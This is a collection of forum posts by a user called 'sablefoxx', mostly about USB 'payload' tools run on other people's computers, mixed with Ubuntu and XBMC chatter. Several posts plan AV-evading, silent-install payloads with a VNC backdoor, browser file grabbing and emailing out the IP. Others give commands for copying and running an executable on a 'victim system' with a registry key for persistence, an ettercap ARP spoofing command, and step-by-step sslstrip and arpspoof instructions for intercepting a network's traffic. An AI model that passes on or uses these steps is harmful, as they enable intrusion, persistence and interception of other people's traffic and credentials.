sablefoxx

Working on mirrors, standby... Mirror #1: http://www.mediafire.com/?zlymm5kzzbj

All source games will be available on the Mac, and you will not have to re-purchase them. In addition saved games will be sync'd across all your accounts :)

Could do a U3 version easily, been mulling over compiling my own version of NetCat to attempt avoiding AV detection, or even possibly coding my own in Python... not sure just yet, all in due time methinks.

As it just so happens, me and Javabudd recently resumed working on that project; Nothing to release just yet, but here are a few features of the new version: -Gui Interface (command line as well) -Silent install option -Auto Bypass Router -Emails External IP/Info -Customize each install using GUI -Built in tools (such as wget) -Option to install FTP server -Even more As always when its done I'll post all the source for everyone to play around with. :)

1) Depends, but it will most likely always be faster to execute directly from the USB key. It is also much cleaner to do it this way (no left over files when your done). 2) The advantage to encrypting via .zip packages is though the AV can block the files, it will be unable to remove the files from your USB drive. A better way in my humble opinion is the way GonZor did it, storing the .exe files on the CD partition (read only) that way AV can't remove the files and you don't need to waste time extracting the files from an encrypted file. 3) If you're only start another program it is unlikely a program written in C will execute significantly faster then a .bat file. That being said, compiled code will always execute faster then interpreted but in this case you're probably using system calls 4) Ehh, maybe. 5) I'd say a simple .bat calling the .exe's directly from the USB drive would be just as fast, if not faster then doing it any other way. Though I have never really done any benchmarks.

I misunderstood your question, the only advantage to copy + execute would be you can add a start regkey and leave the payload on the victim system ( so it continues to execute in the future ). However if you just want to dump and run you'd want to execute the file directly from the USB key.

The command works like so; Copy [source] [destination] lets break it down a little more; Copy .\example.exe %temp% ".\example.exe" the '.' in this lines means "current directory" so our source file is "example.exe" in the current directory where the script is being run (in this case it's the USB key). Second comes the destination, in this example %temp% you could just as easily use C:\ but it is much more likely that you will always have write access to the %temp% directory so I just chose it for the example. You could even easily add a little logic, attempting to write to C:\Windows\system32\ and if that fails fall back to using %temp%. If you'd like to know the exact path of %temp% (will differ depending on the local OS) open up a shell and type "echo %temp%" this will display the directory we are coping the file to. Then we simply start the executable by using the 'start' command. If you have more questions use '/?' for example 'copy /?' or 'start /?' However if you simply want to run the .exe on the USB drive (which after reading your original post that may have been what you were asking) you'd use the command "start .\example.exe"

for those prefer the command line (looks more badass); ettercap -T -q -i <interface> -P auto -M arp // // I find it's also nice to save my iptables for future use, cuts down on typing; sudo iptables-save <filename> sudo iptables-restore <filename>

1) Copy and .exe to the local system and run it; Copy .\example.exe %temp% start %temp%\example.exe Please read up on how LANs work, you cannot easily copy/run .exe files on other systems even if they are on the same LAN. 2) Encrypt system drive; I cannot see a reason why you would want to do this via a USB drive, it is a lengthy process. Just download and run TrueCrypt. I should stress it would be very, very foolish to do this on a system you do not own.

Update maybe, i work on it in my spare time;

lol, Runescape what is this 2002?

I found this interesting, it's hacking the WoW APIs to build up your char. (Not hacking accounts) http://bit.ly/cfoi4a

For those who'd like to do research, this link may help; http://www.mediafire.com/?dn2332iz2mk

Apparently this LAN School keylogger can only store 50,000 chars at a time, so just get a .txt file with 50,000 (or more) chars in it and you can use my program to send the contents of that file as keyboard input and fill up that space, thus overwriting anything you may have done in a couple of seconds instead of weeks.

Ubuntu or Xubuntu

Hey, I wrote a quick program to do just that! (actually it will send any txt file size as keyboard input 50,000+) You can download it here; http://d0tmayhem.com/code/keysp.html

Some good ideas there, I may resume work on a new version soon, however the FTP server I'm using atm doesn't allow you to run it on any port other then 21 (i will look at the source code and see if i can change it), anyone know of another command line FTP server that will allow you to do this? yes the VNC backdoor does NOT current work, though I have a fix in the works for it. Good idea on grabing Firefox/IE files. Nmap scan would be tricky, do you mean an Nmap scan of the local network, or a port scan of the local OS, the latter is not possible because you're booting into your own OS (unless you're using Leapo's payload/utilman).

Call me crazy but i think most AVs today run in the kernel level, so a simple .bat file won't kill them... How much testing have you done (i could be wrong)?

Be a man and install Linux. I don't think ssl strip will work on windows because it relies on iptables to forward traffic around. Follow these instructions to run ssl strip; * Flip your machine into forwarding mode. (echo "1" > /proc/sys/net/ipv4/ip_forward) * Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>) * Run sslstrip. (sslstrip.py -l <listenPort>) * Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

Luckily you can customize it to fit your needs, from none (which will run on hardware that XP wouldn't even touch), to a forty sided sphere, that's right I said a forty sided sphere . But i defiantly agree I've lost windows in the infinite maze of Compiz taken to its limits, but like 555 melikes a cubed desktop (not that it cant be done on the windows site of things).

@Vako, 10.04

Downloads; (Direct Link) http://www.ubuntu.com/getubuntu/download (Bit Torrent) http://www.ubuntu.com/getubuntu/downloadmirrors#bt

http://d0tmayhem.com/regger/

Its $120 USD cash only, you can NOT pre-order. And you buy badges, not tickets. The badges are small circuits you can hack (that's one of the competitions there), although there is no limit to the number they let into the con, they do have a limited number of real badges (when they run out they give you paper badges instead). Defcon 15 Badges Defcon 16 Badges Defcon 17 Badges

Ubuntu + XBMC is all you need! You can add ftp, ssh, samba, Mediatomb (for on-the-fly transcoding to other devices), and more with just one command. Need I mention XBMC will play almost any format under the sun, limitless skinning possibilities, iPhone/iPod Remote Support, and has DAAP & UPnP support, all out of the box. Ubuntu comes with bit torrent already installed by default, you can add as many hdds as you want, plus you get to learn about, and play with Linux! *** XBMC, the Hacker's Media Center of Choice ***